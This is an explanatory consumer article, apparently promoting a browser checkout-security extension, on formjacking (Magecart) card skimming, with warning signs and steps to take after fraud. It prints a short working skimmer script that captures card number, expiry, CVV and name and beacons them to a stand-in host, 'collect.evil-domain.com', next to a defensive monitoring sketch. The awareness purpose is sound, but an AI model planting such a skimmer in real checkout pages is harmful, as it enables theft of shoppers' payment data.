The padlock icon in your browser's address bar does not mean your card is safe. That's the assumption most online shoppers carry — quietly, confidently — every time they type sixteen digits into a checkout form. It's also the assumption that a highly organised class of cybercriminals has spent the last decade building their entire business model around.
The FTC's most recent consumer fraud report puts total losses to fraud at $15.9 billion, with credit cards as the most frequently reported payment method in those filings. The FBI's Internet Crime Complaint Center processes roughly 3,000 cybercrime complaints every single day. Those numbers don't come from sketchy websites with broken layouts and misspelled domain names. A significant portion of them come from completely normal purchases on completely legitimate stores.
The technique responsible for a large share of that damage is called formjacking — also referred to as a Magecart attack when it involves organised criminal groups. Understanding how it works is the first step to not becoming one of those statistics.
How your card gets cloned without anyone touching your device
Formjacking doesn't require physical access to your phone or computer. It doesn't require a fake website. It doesn't even require you to click a suspicious link. The attack happens on the server side — specifically, inside the JavaScript that a legitimate retailer loads on its own checkout page.
Here's what the attack looks like in simplified form:
// Malicious script injected into the retailer's checkout page
// Runs silently alongside the store's legitimate payment code
document.addEventListener('submit', function(e) {
const form = e.target;
const cardData = {
number: form.querySelector('[name="card_number"]').value,
expiry: form.querySelector('[name="expiry"]').value,
cvv: form.querySelector('[name="cvv"]').value,
name: form.querySelector('[name="card_name"]').value
};
// Exfiltrate to attacker's server before the form submits
navigator.sendBeacon('https://collect.evil-domain.com/c',
JSON.stringify(cardData)
);
// Allow normal submission to continue — store processes your order
// You receive your confirmation email. Nothing looks wrong.
});
The store processes your order. Your bank approves the charge. Your confirmation email arrives. The malicious script runs in the same fraction of a second, clones your card data, and sends it to a remote server you'll never know existed. You won't notice anything until fraudulent charges appear on your statement — sometimes days later, sometimes weeks.
CISA's guidance on e-commerce skimming attacks documents how these injections typically reach legitimate stores: through compromised third-party plugins, outdated payment modules, or direct breaches of the retailer's own infrastructure. The store doesn't know the script is there. Their HTTPS certificate is valid. Their padlock is real. None of that protects your card data if the JavaScript running on the page has been tampered with.
Three warning signs at checkout that most people ignore
Formjacking is designed to be invisible, and in most cases it succeeds completely. But there are patterns that show up often enough to be worth knowing.
The first is an unexpected redirect at the payment stage. You're navigating a well-designed store, reach checkout, and get sent to an unbranded or generic-looking payment page that doesn't share the original site's visual style. Legitimate payment processors do sometimes redirect — Stripe, PayPal, and others use hosted payment pages — but you should be able to verify the destination URL is the processor's own domain, not something assembled to look like one.
The second is unusual form fields. A standard card transaction needs your card number, expiry date, CVV, and billing postcode. Nothing else. If a checkout form asks for your ATM PIN, social security number, or mother's maiden name, stop. No legitimate payment processor needs that information at point of sale.
The third is a subtle timing issue: payment fields that flicker, lag, or render noticeably later than the rest of the page. This can happen when a rogue script loads after the page's main content and overwrites or duplicates the form fields it's targeting. It's not definitive — slow third-party scripts cause the same symptom legitimately — but it's worth noticing.
Why your antivirus doesn't catch this
Standard security software scans your device for local threats: files, executables, downloads. Formjacking doesn't involve any of those. The malicious code lives on the retailer's server and executes inside your browser as trusted JavaScript — because from your browser's perspective, it arrived from the same domain as the rest of the page.
Your browser has no built-in mechanism to distinguish between JavaScript the retailer intentionally loaded and JavaScript an attacker inserted into the retailer's codebase three weeks ago. The HTTPS connection just means the data in transit is encrypted. It says nothing about what the JavaScript on the page is doing with that data before it gets sent anywhere.
Detecting this class of attack requires monitoring what scripts are actually doing at runtime — specifically, whether any script is reading form field values and sending them to a domain that isn't the legitimate payment processor. That's a script-level problem and needs a script-level defense.
// What a checkout security extension monitors
function auditCheckoutScripts() {
const scripts = performance.getEntriesByType('resource')
.filter(r => r.initiatorType === 'script');
// Flag any script domains not in the known-safe payment processor list
const TRUSTED_DOMAINS = [
'js.stripe.com',
'www.paypalobjects.com',
'checkout.square.site',
'secure.checkout.visa.com'
];
return scripts.filter(s => {
const domain = new URL(s.name).hostname;
return !TRUSTED_DOMAINS.some(d => domain.endsWith(d));
});
}
// Watch for beacon/fetch calls from untrusted origins during form submission
const originalSendBeacon = navigator.sendBeacon.bind(navigator);
navigator.sendBeacon = function(url, data) {
if (!isTrustedPaymentEndpoint(url)) {
console.warn('[Shield] Suspicious beacon detected:', url);
return false; // Block exfiltration attempt
}
return originalSendBeacon(url, data);
};
This is roughly the logic behind what a checkout security extension does at the script level. It doesn't inspect your card number — it watches whether anything else on the page is trying to.
If it's already happened: what to do in the right order
Fraudulent charges from formjacking often appear days or weeks after the original purchase, which means most people don't immediately connect them to a specific transaction. If you spot unauthorised charges and suspect checkout fraud, the sequence matters.
First, lock the card immediately through your bank's mobile app — don't wait on hold to speak to someone. Locking halts any pending authorisations while you investigate. Cancelling and reissuing comes after.
Second, file a report with the relevant authority before you dispute with your bank. In the US, that's reportfraud.ftc.gov. In the UK, Action Fraud at actionfraud.police.uk. The report creates a paper trail that strengthens your dispute case.
Third, use the word "chargeback" explicitly when you call your bank. Under the Fair Credit Billing Act in the US, your liability for unauthorised credit card charges is capped at $50 — and in practice most major card issuers set it at zero for fraud cases filed promptly. The word chargeback tells the fraud team which process to open; "I want to dispute a charge" can route you somewhere slower.
Keep a record of every communication — dates, reference numbers, names. Banks resolve most of these in your favour when the documentation is clean.
The structural problem with checkout security
The deeper issue is that the responsibility for detecting compromised scripts currently sits entirely with the retailer. As a consumer, you have no visibility into the third-party code running on a checkout page. You can't see whether the payment form you're filling in has been modified since the retailer last audited it. You're trusting an infrastructure you can't inspect.
The padlock tells you the connection is encrypted. It tells you nothing about the destination of your data once it's been read by the scripts on the page. Those are two different things, and the entire formjacking industry exists in the gap between them.
Moving that monitoring to the browser side — where the consumer has control — is the only way to close that gap without depending on every retailer's security practices being perfect. Which, given that the FTC is processing $15.9 billion in annual fraud losses, they clearly are not.